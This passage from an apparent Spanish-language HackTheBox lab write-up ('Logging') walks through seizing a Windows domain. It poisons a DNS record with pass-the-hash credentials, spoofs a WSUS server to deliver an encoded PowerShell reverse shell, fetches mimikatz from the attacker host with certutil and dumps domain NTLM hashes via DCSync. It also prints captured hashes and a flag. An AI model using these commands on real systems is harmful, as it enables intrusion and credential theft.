En el ticket se menciona que el servidor DNS no esta actualizado, si observamos, no existe ningun registro para wsus.logging.htb.

1
2
3
4
5
6

❯ faketime "$(ntpdate -q logging.htb | cut -d ' ' -f 1,2)" uv run dnstool.py -u "LOGGING.HTB\\jaylee.clifton" -p aad3b435b51404eeaad3b435b51404ee:1abff5519c569c11dc713706b4a15ae0 -dc-ip dc01.logging.htb -dns-ip 10.129.31.217 --record 'wsus.logging.htb' --action query 10.129.31.217
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[!] Target record not found!
❯

Intentamos agregar este apuntando a nuestra maquina. Confirmamos que apunta a nuestra IP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

❯ faketime "$(ntpdate -q logging.htb | cut -d ' ' -f 1,2)" uv run dnstool.py -u "LOGGING.HTB\\jaylee.clifton" -p aad3b435b51404eeaad3b435b51404ee:1abff5519c569c11dc713706b4a15ae0 -dc-ip dc01.logging.htb -dns-ip 10.129.31.217 --record 'wsus.logging.htb' --action add --data 10.10.15.96 10.129.31.217
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
❯ faketime "$(ntpdate -q logging.htb | cut -d ' ' -f 1,2)" uv run dnstool.py -u "LOGGING.HTB\\jaylee.clifton" -p aad3b435b51404eeaad3b435b51404ee:1abff5519c569c11dc713706b4a15ae0 -dc-ip dc01.logging.htb -dns-ip 10.129.31.217 --record 'wsus.logging.htb' --action query 10.129.31.217
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found record wsus
DC=wsus,DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb
[+] Record entry:
 - Type: 1 (A) (Serial: 97)
 - Address: 10.10.15.96
❯ 
❯ dig @10.129.31.217 wsus.logging.htb A +short
;; communications error to 10.129.31.217#53: timed out
10.10.15.96
❯

WSUKS

Realizamos la instalacion de wsuks para realizar el ataque asi como el certificado que recien creamos (UpdateSrv).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

❯ wsuks

    __          __ _____  _    _  _  __  _____
    \ \        / // ____|| |  | || |/ / / ____|
     \ \  /\  / /| (___  | |  | || ' / | (___
      \ \/  \/ /  \___ \ | |  | ||  <   \___ \
       \  /\  /   ____) || |__| || . \  ____) |
        \/  \/   |_____/  \____/ |_|\_\|_____/

     Pentesting Tool for the WSUS MITM Attack
               Made by NeffIsBack
                 version: 1.2.1

usage: wsuks [-h] [-u ] [-p ] [--dc-ip ] [-d ] [-k] [--dc-name ] [--only-discover] [--WSUS-Server ] [--WSUS-Port ] [--tls-cert ] [--serve-only] [-v] [--debug] [-ts] -t  [-I ] [-e ] [-c ]
wsuks: error: the following arguments are required: -t/--target-ip
❯

Ejecutamos wsuks con la flag --serve-only ya que el servidor wsus ahora apunta a nuestra direccion IP. Ademas, especificamos una shell inversa como comando.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

❯ sudo wsuks -I tun0 --serve-only --tls-cert ~/htb/logging/wsus.pem -c "/accepteula /s powershell.exe -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AOQA2ACIALAAxADMAMwA2ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

    __          __ _____  _    _  _  __  _____
    \ \        / // ____|| |  | || |/ / / ____|
     \ \  /\  / /| (___  | |  | || ' / | (___
      \ \/  \/ /  \___ \ | |  | ||  <   \___ \
       \  /\  /   ____) || |__| || . \  ____) |
        \/  \/   |_____/  \____/ |_|\_\|_____/

     Pentesting Tool for the WSUS MITM Attack
               Made by NeffIsBack
                 version: 1.2.1

[+] Command to execute: 
PsExec64.exe /accepteula /s powershell.exe -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AOQA2ACIALAAxADMAMwA2ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
[*] ===== Starting Web Server =====
[*] Using TLS certificate '/home/kali/htb/logging/wsus.pem' for HTTPS WSUS Server
[*] Starting WSUS Server on 10.10.15.96:8531...
[*] Serving executable as KB: 5099236

Luego de varios segundos muestra una solicitud.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

[*] Serving executable as KB: 5099236
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetConfig"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo"
[+] Received GET request: /7bb810e2-471f-46f6-84ca-8a92f2d54240/PsExec64.exe
[+] GET request for exe: /7bb810e2-471f-46f6-84ca-8a92f2d54240/PsExec64.exe
[+] Received GET request: /7bb810e2-471f-46f6-84ca-8a92f2d54240/PsExec64.exe
[+] GET request for exe: /7bb810e2-471f-46f6-84ca-8a92f2d54240/PsExec64.exe

La shell inversa es ejecutada y logramos acceso system.

1
2
3
4
5
6
7

❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.15.96] from logging.htb [10.129.31.217] 52131

PS C:\Windows\system32> whoami 
nt authority\system
PS C:\Windows\system32>

Finalmente realizamos la lectura de la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

PS C:\Users> dir


    Directory: C:\Users


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        4/16/2026   5:27 PM                .NET v4.5                                                             
d-----        4/16/2026   5:27 PM                .NET v4.5 Classic                                                     
d-----        4/16/2026   8:30 PM                Administrator                                                         
d-----        4/16/2026   4:41 PM                jaylee.clifton                                                        
d-----        4/17/2026   8:33 AM                msa_health$                                                           
d-r---        4/10/2020  10:49 AM                Public                                                                
d-----        4/17/2026   1:47 PM                toby.brynleigh                                                        


PS C:\Users> cd toby.brynleigh/Desktop
PS C:\Users\toby.brynleigh\Desktop> dir


    Directory: C:\Users\toby.brynleigh\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        4/24/2026   7:47 AM             34 root.txt                                                              


PS C:\Users\toby.brynleigh\Desktop> cat root.txt
ca1f055fc11b5c67d555c63256bfe04e
PS C:\Users\toby.brynleigh\Desktop>

Loot

Dump Hashes

Realizamos un dump de las hashes con mimikatz.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

PS C:\Users\toby.brynleigh\Documents> certutil -f -urlcache http://10.10.15.96/mimikatz.exe mimikatz.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.
PS C:\Users\toby.brynleigh\Documents> .\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:logging.htb /all /csv" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # lsadump::dcsync /domain:logging.htb /all /csv
[DC] 'logging.htb' will be the domain
[DC] 'DC01.logging.htb' will be the DC server
[DC] Exporting domain 'logging.htb'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502	krbtgt	66ff41c8e28783a47fd7617f1f0125f0	514
1000	DC01$	b4d05e08453f856b0ff4af1125157a84	532480
2104	svc_recovery	fbeb47c9c100020d3b9ebaf1ce839fb3	66048
2106	monique.chip	5595521651b7510b86438f7452606abf	66048
2107	kyson.abel	a50981f25606aeaa0d442f0fcbbce699	66048
2108	fable.milford	26a4b1da75600cdd7a3d77789d40a889	66048
2109	wellington.kylan	20a6efc7a20a14021a717fa06cd250f8	66048
2110	serina.philander	42961be97eb21e2fa7664b115e2ac3af	66048
2111	wallace.everette	40e28a964e1a6a6512d0ebc70f1ca811	66048
2105	jaylee.clifton	1abff5519c569c11dc713706b4a15ae0	66048
500	Administrator	a0c1d1bed9126632f5f1f2b3f790bdb5	66048
2112	toby.brynleigh	ac384497550a56937cd6edd784fb221c	66048
2113	msa_health$	603fc24ee01a9409f83c9d1d701485c5	4096

mimikatz(commandline) # exit
Bye!
PS C:\Users\toby.brynleigh\Documents>

ForceSync

Get-ScheduledTaskInfo muestra la tarea programada ForceSync y el script en ejecucion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94

PS C:\Users\toby.brynleigh\Documents> Get-ScheduledTaskInfo -TaskName ForceSync


LastRunTime        : 4/24/2026 8:37:37 AM
LastTaskResult     : 2147946720
NextRunTime        : 4/24/2026 8:39:39 AM
NumberOfMissedRuns : 0
TaskName           : ForceSync
TaskPath           : 
PSComputerName     : 



PS C:\Users\toby.brynleigh\Documents> Get-ScheduledTask -TaskName "ForceSync" | Select-Object -ExpandProperty Actions


Id               : 
Arguments        : C:\Users\Administrator\Documents\ForceSync.ps1
Execute          : powershell
WorkingDirectory : 
PSComputerName   : 



PS C:\Users\toby.brynleigh\Documents> cat C:\Users\Administrator\Documents\ForceSync.ps1
<#
.SYNOPSIS
    Emergency Patch Enforcement Script - logging.htb Infrastructure
    
.DESCRIPTION
    1. DNS RESOLUTION: The 'wsus.logging.htb' record is currently omitted from 
       static DNS to prevent unauthorized clients from flooding the update 
       server. We rely on local host file injection or dynamic poisoning 
       mitigation for this specific maintenance window.
    
    2. FREQUENCY (2-Minute Interval): Required due to a critical 'zero-day' 
       deployment mandate. The environment has a high failure rate for 
       Background Intelligent Transfer Service (BITS) jobs, necessitating 
       constant re-checks.
    
    3. AGGRESSIVE PURGE: The script stops services and wipes SoftwareDistribution 
       to resolve persistent HRESULT: 0x80240004 errors and 'Ghost' metadata 
       collisions that prevent successful installation on this specific build.
#>

try {
    $wsusRecord = Get-DnsServerResourceRecord -ZoneName "logging.htb" -Name "wsus" -ErrorAction Stop
    Write-Host "WSUS record found at $($wsusRecord.RecordData.IPv4Address). Proceeding..."
} catch {
    # Exit code 1 for automation/monitoring visibility
    exit 1
}

# EMERGENCY PRE-INSTALL CLEANUP
# We purge the local cache immediately to ensure the next 2-minute cycle 
# starts with a clean slate, preventing the 'Update Already Exists' 
# logic from blocking mandatory re-runs.
Write-Host "Purging local WU cache for next cycle..."
Stop-Service -Name wuauserv, bits -Force
Remove-Item -Path "C:\Windows\SoftwareDistribution" -Recurse -Force -ErrorAction SilentlyContinue
Get-BitsTransfer | Remove-BitsTransfer
taskkill /f /im psexec64.exe
Start-Service -Name bits, wuauserv

$UpdateSession = New-Object -ComObject Microsoft.Update.Session
$UpdateSearcher = $UpdateSession.CreateUpdateSearcher()

# Searching only for missing software updates
$SearchResult = $UpdateSearcher.Search("IsInstalled=0 and Type='Software'")

if ($SearchResult.Updates.Count -gt 0) {
    Write-Host "Found $($SearchResult.Updates.Count) update(s). Preparing download..."
    
    $UpdatesToDownload = New-Object -ComObject Microsoft.Update.UpdateColl
    foreach ($update in $SearchResult.Updates) {
        $UpdatesToDownload.Add($update) | Out-Null
    }

    # Download Phase: Pulling from wsus.logging.htb
    Write-Host "Triggering Download..."
    $Downloader = $UpdateSession.CreateUpdateDownloader()
    $Downloader.Updates = $UpdatesToDownload
    $Downloader.Download()

    # Install Phase
    Write-Host "Triggering Installation..."
    $Installer = $UpdateSession.CreateUpdateInstaller()
    $Installer.Updates = $UpdatesToDownload
    $Installer.Install()
    
} else {
    Write-Host "No updates found. System compliant."
}
PS C:\Users\toby.brynleigh\Documents>
Share on
Dany Sucuc
WRITTEN BY
sckull

Read other posts

HackTheBox - Logging